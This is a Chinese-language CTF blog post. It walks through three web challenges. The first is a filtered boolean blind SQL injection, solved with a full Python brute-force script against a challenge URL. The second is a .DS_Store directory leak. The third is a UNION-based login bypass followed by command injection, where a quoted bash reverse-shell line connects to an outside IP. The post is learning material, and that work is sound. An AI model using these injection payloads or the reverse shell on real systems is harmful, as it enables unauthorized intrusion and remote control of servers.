10月24, 2018

CTF-web 笔记 7

一道题中的常规盲注思路

题目链接

题目的环境存在非法用户名、用户名错误、密码错误三种报错方式,优先级从左往右。

由于会报非法用户名,通过 Fuzz 发现以下常用关键字被过滤了:

and for like or order union # & | , 空格

经过测试,当用户名为 admin 时,才会报密码错误。

也就是说,我们的任务是通过注入获得 admin 账户的密码,注入点在用户名那里。

思路如下:

0'^'1 //username error
1'^'1 //password error

存在布尔注入,猜测 PHP 语句为:

$sql="select * from XXX where username = '".$uname."'";

拼接后的 SQL 语句为:

select * from XXX where username = '0'^'1' #true
select * from XXX where username = '1'^'1' #false

所以 username error 等价于true

并且 password error 等价于false

由于有两个'要闭合,所以至少要进行两次异或运算,比如:

select * from XXX where username = '0'^'1'^'0' #true

则如下规律也成立:

select * from XXX where username = '0'^(值为真的语句)^'0' #true
select * from XXX where username = '0'^(值为假的语句)^'0' #false

由于 for 被过滤,从 information_schema 中一级一级查下来显然不行,猜测列名与 HTML 标签名同为passwd

由于函数substring()需要用到,或者for,而它们都被过滤了,截取字符就变得比较困难。

这里用到mid()from,截取出以某一位字符为首的后缀字符串。

再用到函数ascii(),获取该后缀字符串中的第一个字符的 ASCII 码,从而实现了截取单个字符的作用。

由于空格被过滤,故使用+代替空格。

passwd的第一位字符为a,如下语句的值为真,否则为假:

(select+ascii(mid((select+passwd)from+1)))=ascii('a')

将上述两种语句进行拼接,构造出 payload:

0'^((select+ascii(mid((select+passwd)from+{0})))=ascii('{1}'))^'0

脚本如下,cookie 值抓包可得:

import requests
url='http://123.206.87.240:8007/web2/login.php'
string='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
cookie={
    'PHPSESSID':'bkibgsjfsmj0c59oa1853729vv83evo8'
}
payload="0'^((select+ascii(mid((select+passwd)from+{0})))=ascii('{1}'))^'0"
flag=""
for i in range(50):
    for j in string:
        postdata={'uname':payload.format(str(i),str(j)),'passwd':'nemo'}
        res=requests.post(url=url,data=postdata,cookies=cookie)
        if "username error!!@_@" in res.text:
            flag+=j
            print(flag)
            break

获得密码的 MD5 值:

0192023a7bbd73250516f069df18b500

搜 MD5 库获得密码admin123

使用该密码登录进去后,根据提示ls一下,flag 就出现了。

网上的题解都是使用.DS_Store文件泄露获得网站的目录,然后直接访问 flag 所在目录获得之。

我也去解了一下相关的知识。


.DS_Store文件泄漏

.DS_Store文件是在 macOS 下的一种隐藏文件,用于记录目录结构。

在进行开发时需要向远程仓库提交项目以及在服务器上部署网站,会把这个文件带过去,导致网站的目录下有.DS_Store文件。

用文本编辑器打开该文件,发现如下片段:

  a d m i nIlocblob      F   (      c s sIlocblob      ?   (      f l a gIlocblob     R   (      f o n t sIlocblob     ?   (      i m a g e sIlocblob      F   ?      i n c l u d eIlocblob      ?   ?          i n d e x . p h pIlocblob     R   ?      j sIlocblob     ?   ?          l o g i n . p h pIlocblob      F  

出现了如下字样:

admin css flag font images include index.php login.php

但是这样还是不能看出目录的父级子级等信息,这就要使用到 ds_store_exp 这个工具来进行详细的读取。

Python 是有DSStore这么一个库的,可以对这类文件进行操作。


Linux 反弹 Shell 相关

在一道题目中需要让目标服务器回弹一个 shell 出来,但是这个服务器没有 Netcat,无法使用nc命令,于是去做了相关的学习。

题目链接

首先是个登录框,这个乍一看没什么头绪,想要注入也不知道注入点在哪,抓包的时候发现 HTTP 头里面带了一串 Base64 码,解码后获得提示:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
    ......
}

很简单的注入,直接上 payload:

用户名:' union select 1,md5(1)#
密码:1

进去之后是一个文本框,内容会被后台命令行执行,但是该页面不会显示执行的输出结果,只会显示进程信息。

比如我输入666,页面返回结果如下:

root 8 0.0 0.0 66692 760 ? S Sep13 0:00 /usr/sbin/sshd -D
apache 24044 0.0 0.6 315116 6668 ? S Oct06 0:00 /usr/sbin/httpd -DFOREGROUND
apache 28443 0.0 0.1 11296 1268 ? S 16:59 0:00 sh -c ps -aux | grep 666
apache 28445 0.0 0.0 6380 716 ? S 16:59 0:00 grep 666

其中倒数第三行,有这么一段命令:

sh -c ps -aux | grep 666

可以看到,我输入的666被拼接在了这个命令的后面。

相关命令的作用:

sh:
    -c 命令从-c后的字符串读取
ps:
    -a 显示其他用户启动的进程
    -u 查看系统中属于自己的进程
    -x 启动这个进程的用户和它启动的时间

那么首先可以知道后台使用sh这个 shell 来执行命令,然后这个语句的作用就是把系统所有进程的信息中带有666字样的几条进程信息给显示出来,所以才会有上面那样的返回结果。

那么根据正则表达式,我如果输入一个.,就可以查看系统上的所有进程,很巧,我看到了这么一条进程信息:

apache 32644 0.0 0.0 11296 188 ? S Sep27 0:00 sh -c ps -aux | grep c=123;bash -i >& /dev/tcp/47.106.192.84/3333 0>&1

这个应该是别人做题留下的,他输入了这样的东西:

c=123;bash -i >& /dev/tcp/47.106.192.84/3333 0>&1

他使用;结束了前面的命令语句,然后执行:

bash -i >& /dev/tcp/47.106.192.84/3333 0>&1

从网上了解到,这段命令的作用是创建一个 shell 并向另一台主机的指定端口发起连接,如果连接到了就把 shell 交给该主机,并且这样做没有用到 Netcat。

若该主机监听了这个端口,就能利用这个 shell 来控制服务器。

关于上述命令的解释这篇文章说的比较清楚了,我再进行一些补充。

简单地说,>&的作用就是把被控服务器上的输出内容全部重定向到 shell 上面,在该远程主机上显示出来。

同样,0>&1的作用就是把输入命令的工作重定向给输出的位置,此时输出已经被重定向到了远程主机,所以命令的输入也由该远程主机来负责。

由此,便达到了交互的效果,远程主机可以无阻碍地使用这个 shell 了。

在自己的主机上连接到 shell,ls之后发现 flag 文件,cat一下就好了。

当然,上面的方法需要有公网的 IP,在这篇博客看到了不需要公网 IP 的方法。

这类似于 SQL 时间盲注,只不过注入的是命令行语句,不得不说脑洞挺大。

本文链接:https://blog.cindemor.com/post/ctf-web-7.html

-- EOF --